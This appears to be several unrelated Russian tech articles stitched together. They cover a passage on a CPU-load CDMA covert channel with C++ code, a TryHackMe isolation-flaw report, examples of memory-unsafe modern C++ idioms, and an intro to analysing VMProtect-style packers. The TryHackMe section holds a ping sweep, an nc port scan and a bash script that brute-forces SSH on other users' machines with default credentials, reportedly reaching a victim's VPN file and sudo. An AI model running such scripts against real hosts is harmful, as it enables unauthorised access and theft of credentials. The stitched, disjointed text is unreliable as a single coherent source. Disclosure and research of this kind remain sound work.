constexpr std::chrono::nanoseconds ChipPeriod{16'000'000};  // ок. 1...100 мсstd::bitset<CDMACodeLength> CDMACode("...");                // код пропущенvoid emitBit(const bool value){    for (auto i = 0U; i < CDMACode.size(); i++)    {        const bool bit = value ^ !CDMACode[i];        drivePHY(bit, ChipPeriod);    }}

Пакеты будем разделять девятью (или больше) нулевыми битами, а перед байтом данных будем отправлять один высокий бит, чтобы отличать его от разделителя пакетов (здесь есть простор для оптимизации):

void emitByte(const std::uint8_t data){    emitBit(1);   // Стартовый бит    auto i = 8U;  // Старший бит идёт первым    while (i --> 0)    {        emitBit((static_cast<std::uintmax_t>(data) & (1ULL << i)) != 0U);    }}void emitFrameDelimiter(){    for (auto i = 0U; i < 20; i++)  // не менее 9 нулевых битов    {        emitBit(0);    }}

Для обнаружения ошибок в конце каждого пакета добавим два байта обыкновенной CRC-16-CCITT:

void emitPacket(const std::vector<std::uint8_t>& data){    emitFrameDelimiter();    std::uint16_t crc = CRCInitial;    for (auto v : data)    {        emitByte(v);        crc = crcAdd(crc, v);    }    emitByte(static_cast<std::uint8_t>(crc >> 8U));    emitByte(static_cast<std::uint8_t>(crc >> 0U));    emitFrameDelimiter();}

Здесь у кого-то может возникнуть идея использовать традиционные коды Хэмминга для коррекции ошибок передачи, но у нас будет возможность разменивать пропускную способность канала на вероятность корректной передачи подстройкой длины кодирующей последовательности сам метод кодового разделения уже предоставляет средства коррекции ошибок на битовом уровне.

Приём

Если сигнал передаётся модуляцией нагрузки процессора, то на принимающей стороне мы можем оценить состояние среды передачи измеряя скорость каких-либо вычислений в быстром цикле. Например, можно инкрементировать счётчики. Создаваемые передатчиком флуктуации доступного процессорного времени затем извлекаются фильтром высоких частот, давая на выходе (сильно зашумлённый) сигнал:

bool readPHY(){    static auto deadline = std::chrono::steady_clock::now();  // См. заметку о дрейфе фазы    deadline += SampleDuration;    const auto started_at = std::chrono::steady_clock::now();    std::vector<std::int64_t> counters;    const auto loop = [&counters](std::uint32_t index) {        auto& cnt = counters.at(index);        while (std::chrono::steady_clock::now() < deadline)        {            cnt++;        }    };    static const auto thread_count = std::max<unsigned>(1, std::thread::hardware_concurrency());    if (thread_count > 1)    {        counters.resize(thread_count, 0);        std::vector<std::thread> pool;        for (auto i = 0U; i < thread_count; i++)        {            pool.emplace_back(loop, i);        }        for (auto& t : pool)        {            t.join();        }    }    else    {        counters.push_back(0);        loop(0);    }    const double elapsed_ns =        std::chrono::duration_cast<std::chrono::nanoseconds>(std::chrono::steady_clock::now() - started_at).count();    const double rate = double(std::accumulate(std::begin(counters), std::end(counters), 0)) / elapsed_ns;    static double rate_average = rate;    rate_average += (rate - rate_average) / PHYAveragingFactor;    return rate < rate_average;  // Просадка производительности если передатчик нагрузил ЦП}

Обратите внимание, что конкретно эта реализация загружает все ядра процессора работой, что, конечно, чрезвычайно расточительно. Для передачи данных в пределах одной ОС (т.е., не пересекая границы виртуализированных сред) можно ограничиться одним ядром, как уже было показано выше.

Снова хочу отметить, что вместо модуляции загрузки ЦП можно управлять чем угодно ещё. Например, можно загружать диск или забивать кэш процессора холодными данными из памяти. Единственное требование заключается в получении на выходе (зашумлённого) двоичного сигнала, который можно семплировать с достаточно высокой фиксированной частотой.

Полученный зашумлённый сигнал с удалённым постоянным смещением мы направляем в CDMA коррелятор, как я изобразил на схеме:

Коррелятор направляет полученную последовательность выборок состояния среды передачи в массив каналов. Каждый канал имеет общую кодирующую последовательность, но смещение в пределах последовательности у каждого канала своё. Каждая полученная выборка сравнивается с кодирующей последовательностью канала; затем, в конце периода последовательности подсчитывается количество совпадений, которое определяется шумом в канале передачи и фазовым сдвигом относительно кодирующей последовательности передатчика. Итоговый сигнал извлекается взвешенным суммированием выхода каждого канала, где вес определяется корреляцией локальной кодирующей последовательности канала с полученным сигналом.

Аналогичным образом извлекается информация о фазе сигнала: на выходе каждого канала мы имеем пилообразный сигнал, представляющий фазу кодирующей последовательности текущего канала. Подсчитанная аналогично предыдущему случаю взвешенная сумма представляет очищенный от шума тактирующий сигнал, на основании которого дальнейшая логика приёмного тракта защёлкивает принятые биты данных.

Практические системы здесь обычно включают фазовую автоподстройку частоты для синхронизации длительности периода кодирующей последовательности между передатчиком и приёмником. Мы этого делать не станем в угоду простоте реализации. Вместо этого, состояние среды передачи будет семплироваться с утроенной частотой; соответственно, количество каналов коррелятора будет равно длине кодирующей последовательности, умноженной на три.

Знакомый с обработкой сигналов в телекомах читатель сейчас понимающе позёвывает, ведь похожие принципы используются во многих распространённых приложениях, от GPS до сотовых сетей. Для сравнения, типичная архитектура приёмного тракта GPS приёмника выглядит примерно так (каналы Qx на схеме можно проигнорировать, поскольку квадратурное разложение в нашей среде смысла не имеет):

Использование достаточно длинной кодирующей последовательности позволяет установить канал связи с произвольно низкой вероятностью ошибок поверх произвольно зашумлённой среды. Впрочем, зависимость между скоростью и шумовым порогом, разумеется, является фундаментальной для телекомов вообще.

Прямое применение кодов Хэмминга здесь вряд ли оправданно, потому что условия, при которых могут возникать битовые инверсии сигнала, неизбежно приведут к искажениям тактового сигнала, из чего последуют пропуски либо спонтанное защёлкивание бит, что сделает коды Хэмминга неэффективными. Более совершенные методы коррекции ошибок вроде кодов Рида-Соломона или LDPC представляют интерес, но их реализация несколько выходит за рамки этого эксперимента ввиду сравнительно высокой сложности.

Полученные на выходе коррелятора биты декодируются в пакеты тривиальной логикой, зеркалирующей логику передатчика, что я привёл выше. Здесь её код я показывать не буду, вместо этого рекомендую сразу пройти на гитхаб и увидеть всё сразу:

https://github.com/pavel-kirienko/cpu-load-side-channel

Результат

Процесс передачи файла с одной виртуалки на другую я записал на видео:

Условия здесь были далеки от идеальных, потому что в фоне на хосте виртуализации работал ffmpeg (записывающий это видео в 4K в реальном времени на процессоре), браузер с ~30 вкладками и музыкой, вечно голодная до ресурсов плазма с виджетами и обычный набор каждодневного софта на моей рабочей станции. Я привожу это в качестве дополнительной иллюстрации (очевидного) факта, что устойчивость канала к шуму является лишь вопросом минимальной скорости передачи.

Последняя может вызвать у читателя здравое недоумение: на видео, тактовый период кодирующей последовательности был равен 16 мс, и её длина 1023 бит, т.е., передача одного бита занимала примерно 16 секунд, давая скорость около 0.06 бит в секунду. Передача семибайтового файла с CRC и разделителями заняла почти полчаса. Много ли можно дел наворотить на такой-то скорости?

Если сравнивать с M1RACLES (скорость передачи более 8 Mb/s), то нет. Если сравнивать с популярным предположением по-умолчанию об информационной изоляции виртуализированных сред (скорость передачи 0 b/s), то да.

Преодоление барьеров виртуализации сильно зашумляет канал, что требует использования более длинной кодирующей последовательности. Также увеличивается временной джиттер, что требует и увеличения продолжительности тактового периода. Процессы же в пределах одной ОС могут коммуницировать на скорости более одного бита в секунду, в чем легко убедиться на практике, поменяв параметры ChipPeriod и CDMACodeLength в PoC (я экспериментировал на Manjaro с ядром 5.4 на Intel Core i7 990X @ 4 GHz).

Поддержание канала в текущей реализации требует постоянной полной загрузки процессора (или хотя бы одного его ядра) процессом-приёмником, что может стать серьёзным ограничением. Это, вероятно, можно обойти использованием более сложных схем модуляции, либо модуляцией состояний других системных ресурсов; например, загрузки диска или кэша процессора. Желающие поэкспериментировать приглашаются поделиться результатами.

Также было бы интересно поэкспериментировать с передачей за пределы изолированных систем (airgapped networks), о чём писал Mordechai Guri и многие до него. Для этого можно подвергать модуляции шум системы охлаждения, температуру её выхлопа, ЭМИ, светодиоды на клавиатуре, и вообще всё, что имеет видимые внешние проявления.

Выводы

Я опубликовал заметку в /r/netsec об этом эксперименте, где в комментариях отметился Hector Martin, автор M1RACLES. Моя изначальная позиция была следующая: побочные каналы присутствуют всегда и в любой системе; M1RACLES лишь добавляет ещё один, а значит, это ничего кардинально не меняет. Если считать его уязвимостью, это делает любую систему в принципе уязвимой по-умолчанию, ведь побочные каналы устранить невозможно; значит, сам термин "уязвимость" применимо к компьютерным системам теряет информационную нагрузку.

Вероятно, сведущему в инфобезе человеку такой взгляд на вещи покажется наивным, я мало знаком с этой областью. Hector Martin скорректировал мои заблуждения, указав на то, что уязвимость как абсолютная метрика бессмысленна, всегда необходимо учитывать контекст. В этом смысле, наличие высокоскоростного канала скрытого обмена несколько расширяет множество реализуемых атак, следовательно, M1RACLES является вполне реальной уязвимостью, пусть и по-прежнему крайне малой значимости. Ниже релевантная часть его комментария для полноты:

We already know all systems are vulnerable to certain side-channel attacks. In particular, all systems with shared resources have side channels. Those side channels are easy to turn into covert channels, as you did. The bandwidth, and the severity, is proportional to how closely coupled the security domains are (as you found out, where the VM boundary reduces your performance). As the severity gets higher, you go from 1 bit per second covert channels, to megabytes per second covert channels, to actually being able to steal data from noncooperative entities (actual dangerous side channels) under increasingly less demanding circumstances.

[...]

So M1RACLES is interesting because it is not a side channel - so it poses no danger of leaking data from unwitting processes - but it is a highly efficient covert channel, which does matter under a very small but not nonexistent set of attack scenarios. Does it add covert channel capability where none existed prior? No. But that doesn't mean it's not a vulnerability; as I said, we don't qualify systems on some kind of absolute "vulnerable/not vulnerable" scale. We look at individual issues and then figure out how they affect the overall security of the system under certain attack scenarios.

Заодно он жёстко раскритиковал работу Mordechai Guri, указав на околонулевую дельту его публикаций. Однако, это я не берусь комментировать, поскольку в инфобезе не ориентируюсь. Для меня это всё представляет интерес лишь в контексте технической реализации обработки сигналов, нежели значения для отрасли.

Финальные выводы я сделал следующие:

• ОС и гипервизоры не являются средствами информационной изоляции и не в состоянии предотвратить межпроцессный обмен данными.

• Однако, скрытый межпроцессный обмен серьёзной угрозой не является.

• M1RACLES количественно улучшает доселе существующие возможности скрытого обмена, но итоговый эффект остаётся незначительным.

Привет, Хабрчане. Сегодня мы поговорим об одной проблеме, которую обнаружил мой хороший знакомый Иван Глинкин.

Это очень серьезный косяк с безопасностью платформы для обучения пентесту TryHackMe. Заключается он в том, что виртуальные стенды видят абсолютно все в сети, и их можно использовать для атаки на пользователей сервиса.

Написать эту статью меня подтолкнули 3 причины:

1. Прошло уже более двух недель, а воз и ныне там. Никаких действий со стороны платформы TryHackMe не последовало;

2. Платформа ответила только хамством, а затем забанила аккаунт Ивана (об этом далее);

3. Автору оригинала очень лень переписывать статью на русском языке.

Завязка сюжета

Есть много разных платформ для обучения инфобезу. И коль скоро эти платформы затрагивают такой важный в IT-отрасли сегмент, то неплохо было бы им самим соответствовать. Так мы думаем, когда заходим на них.

Однако, как показала практика, тут тоже работает славный принцип х*як, х*як, и в продакшн.

Когда мы подключаемся по VPN к платформе, мы не можем взаимодействовать с другими хостами в сети, кроме самих виртуальных машин для взлома. Верно? Верно!

Ну, а что по поводу самих виртуальных стендов? Они-то, наверное, тоже не могут взаимодействовать с кем попало?

А вот и нет! Виртуальный стенд, как оказалось, видит всех и вся в сети.

В качестве тестовой точки я выбрал виртуалку Basic Pentesting.

Быстренько получив пользователя kay по сюжету виртуалки, начнем проверять, как же TryHackMe решила проблему с тем, что виртуалка может взаимодействовать с абсолютно всеми пользователями. Проверяем свою же подсеть. В моем случае это была 10.9.5.0

for ip in {1..254}; do ping -w 1 10.9.5.$ip | grep -i "ttl"; done

Жизнь есть. Так, а другие подсети видим? Ну, например, 10.9.4.0

Видим ...

Так, отставить панику! Это же еще ничего не доказывает и не значит, что я смогу подключиться по SSH или проверить, есть ли там поднятый Apache.

Сводим все живые IP адреса в вордлист и пробегаем их nc по 80 порту, благо nc заботливо установлен админами платформы.

for ip in $(cat ips.txt); do nc -nvw 1 $ip 80; done

А вот и первые претенденты. CURLлуем 10.9.4.252 и видим там типичный листинг директории www человека, который решает виртуалки:

Кульминация

А вот давайте и проверим, че там по SSH. Тут тоже применим немножко автоматизации. Закидываем на стенд sshpass, благо и curl, и wget уже заботливо установлены админами платформы заранее. Как говорится, всё для вас, даже вода из-под крана.

Опа! Не ставится.

Ну root-то точно на стенде закрыт! Для итогового выполнения упражнения стенда root не нужен, а, стало быть, и у пользователя kay не должно быть прав на sudo. Верно же?

Устанавливаем sshpass и колдуем легкий скрипт в bash для перебора:

#!/bin/bashfor ip in {2..255}do ip_check=$(ping -w 1 10.9.5.$ip | grep -i "icmp_seq" | cut -d " " -f 4 | cut -d ":" -f 1)if [ ! -z $ip_check ]thenecho -e "\e[01;32mHost $ip_check is up. Cheking SSH\e[00m";nc -vz -w 2 $ip_check 22 > log.txt 2>&1;ssh_refused=$(grep -o "refused" log.txt)ssh_timeout=$(grep -o "timed" log.txt)if [ ! -z $ssh_refused ]thenecho -e "\e[01;31mSSH is closed. Going further. \e[00m";echo " ";elif [ ! -z $ssh_timeout ]thenecho -e "\e[01;31mSSH doesn't respond. Going further. \e[00m";echo " ";elseecho -e "\e[01;32mSSH is open. Trying to connect... \e[00m";sshpass -p "kali" ssh -o StrictHostKeyChecking=no kali@$ip_check;sshpass -p "toor" ssh -o StrictHostKeyChecking=no user@$ip_check;sshpass -p "toor" ssh -o StrictHostKeyChecking=no root@$ip_check;echo " ";fifidonerm log.txt;echo -e "\e[01;32mEnumeration has been finished! \e[00m";

Развязка

Проверять будем 3 самые основные связки логин/пароль для Kali и Parrot OS:

• kali:kali

• root:toor

• user:toor

А вот и первый БЕЗОПАСНИК с дефолтными логином и паролем. И сразу натыкаемся на ovpn файл для доступа к TryHackMe. Если у человека оплачен VIP, то мы только что сэкономили на подписке

Пробуем sudo

Эпилог

Какие из всего этого следуют практические выводы?

Ну, самый очевидный: система инфобеза TryHackMe полное **** нужно менять дефолтные пароли на своих Kali и Parrot OS на более безопасные. Обезопасит ли это в полной мере вас при вот таком вот уровне защиты сети на платформе TryHackMe? Определённо нет.

Думаю, мне не стоит тут перечислять, что, помимо простого брутфорса SSH, существует еще куча методов получить доступ к вашей системе. А дальше можете выбрать, что злоумышленник захочет:

1. Включить вашу рабочую машину в ботнет;

2. Покопаться во внутрикорпоративной сети компании и вашей личной инфе;

3. Провести атаки на другие ресурсы с использованием вашей пентест-машины и из-под вашего IP;

4. Помайнить криптовалюты на вашем оборудовании (а почему бы, собственно, и нет?);

5. Всё, что пришло вам в голову к этому моменту

А также не забываем, что после перезагрузки стенда вся информация с него удаляется, в том числе и логи. Можно, конечно, уповать на то, что у TryHackMe всё обязательно логируется и записывается, особенно все действия пользователя на виртуалках, но что-то мне мало верится в реальность этого варианта.

Особенно меня порадовала реакция платформы TryHackMe на багрепорт всей этой ситуации.

Первичный отчет был направлен в TryHackMe 2 мая 2021. Оригинальная статья вышла 25 мая 2021. Вместо того, чтобы заняться решением этой проблемы, руководство платформы TryHackMe прислало письмо, в котором просто решило прикрыться пунктом 9 правил пользования платформой.

TryHackMe на полном серьёзе считает, что всё у них нормально, и что вместо принятия технических мер можно ограничиться вот этой вот писулькой в правилах пользования платформой. Она как-то сможет оградить пользователей от реальных злоумышленников?

Ну и вишенка на торте:

Бан аккаунта. Отличная работа, TryHackMe. Вместо решения проблемы вы просто забанили человека, который указал вам на косяк в системе инфобеза

Решайте сами, стоит ли пользоваться вот такими образовательными порталами, которые спокойно позволяют взламывать своих пользователей.

Лично моё мнение: в случае реальной атаки на вас платформа просто открестится от ответственности всё тем же замечательным пунктом 9 своего соглашения.

Ну а что? Это же не платформа положила болт на защиту пользователей, а злоумышленник, наплевав на все писульки TryHackMe, просто взял и использовал ваш Kali для противоправных действий в адрес третьих лиц.

Я часто критикую небезопасные при работе с памятью языки, в основном C и C++, и то, как они провоцируют необычайное количество уязвимостей безопасности. Моё резюме, основанное на изучении доказательств из многочисленных крупных программных проектов на С и С++, заключается в том, что нам необходимо мигрировать нашу индустрию на безопасные для памяти языки по умолчанию (такие как Rust и Swift). Один из ответов, который я часто получаю, заключается в том, что проблема не в самих С и С++, разработчики просто неправильно их "готовят". В частности, я часто получаю в защиту C++ ответ типа: "C++ безопасен, если вы не используете унаследованную от C функциональность" [1] или аналогичный ему, что если вы используете типы и идиомы современного C++, то вы будете застрахованы от уязвимостей типа повреждения памяти, от которых страдают другие проекты.

Хотелось бы отдать должное умным указателям С++, потому что они существенно помогают. К сожалению, мой опыт работы над большими С++ проектами, использующими современные идиомы, заключается в том, что этого даже близко недостаточно, чтобы остановить наплыв уязвимостей. Моя цель на оставшуюся часть этой заметки - выделить ряд абсолютно современных идиом С++, которые порождают уязвимости.

Скрытая ссылка и use-after-free

#include <iostream>#include <string>#include <string_view>int main() {  std::string s = "Hellooooooooooooooo ";  std::string_view sv = s + "World\n";  std::cout << sv;}

Вот что здесь происходит, s + "World\n" создает новую строку std::string, а затем преобразует ее в std::string_view. На этом этапе временная std::string освобождается, но sv все еще указывает на память, которая ранее ей принадлежала. Любое последующее использование sv является use-after-free уязвимостью. Упс! В С++ не хватает средств, чтобы компилятор знал, что sv захватывает ссылку на что-то, где ссылка живет дольше, чем донор. Эта же проблема затрагивает std::span, также чрезвычайно современный тип С++.

Другой забавный вариант включает в себя использование лямбда в С++ для сокрытия ссылки:

#include <memory>#include <iostream>#include <functional>std::function<int(void)> f(std::shared_ptr<int> x) {    return [&]() { return *x; };}int main() {    std::function<int(void)> y(nullptr);    {        std::shared_ptr<int> x(std::make_shared<int>(4));        y = f(x);    }    std::cout << y() << std::endl;}

Здесь [&] в f лямбда захватывает значение по ссылке. Затем в main, x выходит за пределы области видимости, уничтожая последнюю ссылку на данные и освобождая их. В этот момент y содержит висячий указатель. Это происходит, несмотря на наше тщательное использование умных указателей. И да, люди действительно пишут код, использующий std::shared_ptr&, часто как попытку избежать дополнительного приращения и уменьшения количеств в подсчитывающих ссылках.

Разыменование std::optional

std::optional представляет собой значение, которое может присутствовать, а может и не присутствовать, часто заменяя магические значения (например, -1 или nullptr). Он предлагает такие методы, как value(), которые извлекают T, которое он содержит, и вызывает исключение, если optional пуст. Однако, он также определяет operator* и operator->. Эти методы также обеспечивают доступ к хранимому T, однако они не проверяют, содержит ли optional значение или нет.

Следующий код, например, просто возвращает неинициализированное значение:

#include <optional>int f() {    std::optional<int> x(std::nullopt);    return *x;}

Если вы используете std::optional в качестве замены nullptr, это может привести к еще более серьезным проблемам! Разыменование nullptr дает segfault (что не является проблемой безопасности, кроме как в старых ядрах). Однако, разыменование nullopt дает вам неинициализированное значение в качестве указателя, что может быть серьезной проблемой с точки зрения безопасности. Хотя T* также бывает с неинициализированным значением, это гораздо менее распространено, чем разыменование указателя, который был правильно инициализирован nullptr.

И нет, это не требует использования сырых указателей. Вы можете получить неинициализированные/дикие указатели и с помощью умных указателей:

#include <optional>#include <memory>std::unique_ptr<int> f() {    std::optional<std::unique_ptr<int>> x(std::nullopt);    return std::move(*x);}

Индексация std::span

std::span обеспечивает эргономичный способ передачи ссылки на непрерывный кусок памяти вместе с длиной. Это позволяет легко писать код, который работает с несколькими различными типами; std::span может указывать на память, принадлежащую std::vector, std::array<uint8_t, N> или даже на сырой указатель. Некорректная проверка границ - частый источник уязвимостей безопасности, и во многих смыслах span помогает, гарантируя, что у вас всегда будет под рукой длина.

Как и все структуры данных STL, метод span::operator[] не выполняет проверку границ. Это печально, так как operator[] является наиболее эргономичным и стандартным способом использования структур данных. std::vector и std::array можно, по крайней мере, теоретически безопасно использовать, так как они предлагают метод at(), который проверяет границы (на практике я этого никогда не видел, но можно представить себе проект, использующий инструмент статического анализа, который просто запрещает вызовы std::vector::operator[]). span не предлагает метод at(), или любой другой подобный метод, который выполняет проверку границ.

Интересно, что как Firefox, так и Chromium в бэкпортах std::span выполняют проверку границ в operator[], и, следовательно, никогда не смогут безопасно мигрировать на std::span.

Заключение

Идиомы современного C++ вводят много изменений, которые могут улучшить безопасность: умные указатели лучше выражают ожидаемое время жизни, std::span гарантирует, что у вас всегда под рукой правильная длина, std::variant обеспечивает более безопасную абстракцию для union. Однако современный C++ также вводит новые невообразимые источники уязвимостей: захват лямбд с эффектом use-after-free, неинициализированные optional и не проверяющие границы span.

Мой профессиональный опыт написания относительно современного С++ кода и аудита Rust-кода (включая Rust-код, который существенно использует unsafe) заключается в том, что безопасность современного С++ просто не сравнится с языками, в который безопасностью памяти включена по умолчанию, такими как Rust и Swift (или Python и Javascript, хотя я в реальности редко встречаю программы, для который имеет смысл выбора - писать их на Python, либо на C++).

Существуют значительные трудности при переносе существующих больших кодовых баз на C и C++ на другие языки - никто не может этого отрицать. Тем не менее, вопрос просто должен ставиться в том, как мы можем это сделать, а не в том, стоит ли пытаться. Даже при наличии самых современных идиом С++, очевидно, что при росте масштабов просто невозможно корректно использовать С++.

[1] Это надо понимать, что речь идет о сырых указателях, массивах-как-указателях, ручном malloc/free и другом подобном функционале Си. Однако, думаю, стоит признать, что, учитывая, что Си++ явно включил в свою спецификацию Си, на практике большинство Си++-кода содержит некоторые из этих "фич".

Привет, хабровчане. Для будущих студентов курса Reverse-Engineering. Basic Александр Колесников подготовил полезную статью.

Также приглашаем всех желающих посетить открытый вебинар на тему Эксплуатация уязвимостей в драйвере. В первой части вебинара будет пример классической уязвимости переполнения буфера, а также уязвимости переполнения целочисленного типа. Также участники вместе с экспертом разберут особенности разработки эксплойтов в режиме ядра.

Статья будет разбита на 2 части теоретический минимум для понимания основных элементов навесных защит исполняемых файлов, и вторая, которая покажет несколько примеров разбора файлов. Все данные не претендуют на полноту. Для полного понимания темы и проведения распаковки файлов, которые были защищены рассматриваемыми защитами, нужно терпение и достаточный бэкграунд в ОС Internals.

Disclamer: Вся информация предоставляется исключительно для обучающих целей.

Навесная защита

Используемый термин навесная защита на самом деле используется только для обозначения класса пакеров, основная цель которых не дать реверс инженеру или начинающему исследователю быстро разобраться с алгоритмом и модифицировать его или скопировать. Ключевое слово здесь быстро. Способы достижения этой цели любые, вплоть до блокирования и обнаружения любых инструментов для динамической инструментации и отладки. Давайте попробуем описать спектр возможностей:

• Охранные процедуры, которые детектируют присутствие отладчика в системе;

• Охранные процедуры для детектирования песочницы;

• Охранные процедуры для детектирования динамической инструментации;

• Блокирование возможностей отладки охраняемого процесса;

• Виртуальная машина с собственным набором команд;

• Методы обфускации и запутывания кода имитовставки, наномиты.

Список внушителен, все это заставить работать для защищаемого приложения достаточно сложная задача, но тем не менее не невыполнимая. На сегодняшний день такие защиты существуют и довольно успешно применяются. Примерами может служить WinLicense, Themida, Enigma Protector.

Все перечисленные системы коммерческие и применяются для лицензирования и защиты приложений. Эти пакеры безусловно созданы для благих целей, чтобы труд разработчиков программного обеспечения был надежно защищен, но технологии подобного рода так же могут быть использованы для упаковки вредоносного программного обеспечения. Причем, могут применяться именно перечисленные пакеры, а могут быть частичные собственные имплементации. Одним из последних и ярких примеров может быть FinSpy RAT, который как раз был защищен своей собственной имплементацией навесной защиты.

Краеугольный камень всех перечисленных выше защит кастомная виртуальная машина. Трюк, который математически можно описать как модифицированный конесный автомат. Именно этот элемент всегда вызывает головную боль у начинающих реверс инженеров. Как анализировать подобные механизмы? Какие инструменты применять? Попробуем разобраться.

Методы исследования

Что такое виртуальная машина для защиты кода? Это алгоритм, который оперирует своими собственными версиями команд, которые могут отличаться от команд процессора, на котором запускается приложение. Существуют 2 типа виртуальных машин:

• Виртуальная машина, которая преобразует команды исполняемого файла, сохраняет их в файл. При запуске такого приложения команды расцифровываются в команды процессора и приложение работает как обычно.

• Виртуальная машина содержит набор команд, которые используются для выполнения алгоритма защищаемого приложения. Защищаемое приложение преобразуется в последовательность команд, которые может разобрать только виртуальная машина, и эти команды используются для выполнения всех операций защищаемого приложения. То есть нет совершенно момента времени, когда команды виртуальной машины снова становятся обычными командами процессора. Такие виртуальные машины иногда называют виртуальными обфускаторами.

Обычная архитектура виртуальной машины со своим набором команд имеет следующие отличительные черты:

• Алгоритм инициализации виртуальной машины;

• Огромный switch блок, который имплементирует каждую команду виртуальной машины;

• Большой блок данных, который содержится в файле и не поддается декомпиляции. Обычно это байткод, который используется виртуальной машиной. Themida, к примеру, может использовать 4 разных вида байткода. При упаковке приложения пользователь может выбрать, какой вариант байткода будет использоваться.

Все действия, которые могло бы выполнять защищаемое приложение на самом низком уровне выполняются за счет вызова команд из switch блока виртуальной машины. Как эти блоки могут выглядеть в декомпиллированной версии, можно видеть на снимках ниже:

Картинка позаимствована отсюда.

Как такое анализировать? Общий алгоритм анализа сводится к:

• Снятие всех антиотладочных приемов;

• Идентификация места сохранения всех регистров в структуру для начала работы виртуальной машины;

• Идентификация используемого набора команд;

• Идентификация используемого байткода;

• Идентификация типа виртуальной машины (расшифровывается ли код до native в памяти и затем работает как обычно или нет);

• Создание декодировщика для работы с идентифицированным байткодом.

Проведем небольшую практику.

Начало пути

В качестве примера будем использовать древний VMProtect 1.1 версии. Соберем простое приложение и обфусцируем его. Исходный код приложения:

#include <iostream>int main{  std::cout<< "Hello World!" <<std::endl;  system("pause");  return 0;}

Приложение соберем в release варианте и декомпилируем. В итоге Main функция будет выглядеть так:

А после преобразования через VMProtect:

Так как команд вообщем-то не так много, то и на графе мы видим не огромный switch блок, а всего лишь несколько дополнительных блоков.

Пройдемся по каждому из них:

Первые два блока выполняют функцию первых шагов инициализации. В этих шагах сохраняются регистры общего назначения в общую струтуру для более удобного использования и так же производится инициализация указателя на набор байткода, который будет использоваться для работы алгоритма приложения.

Последующие два блока созданы для запутывания алгоритма, это и есть слабая обфускация, которая просто замыливает глаз. Основные действия выполняются дальше, в последнем блоке этой функции:

Последний блок позволяет инициализировать edx регистр адресом функции обработчика и алгоритм вытягивается через выполнение виртальной машиной байткода.

Кстати, байткод выглядит так:

В следующей статье познакомимся с тем как раскодировать команды и провести отладку такого приложения.

Узнать подробнее о курсе Reverse-Engineering. Basic.

Смотреть открытый вебинар на тему Эксплуатация уязвимостей в драйвере.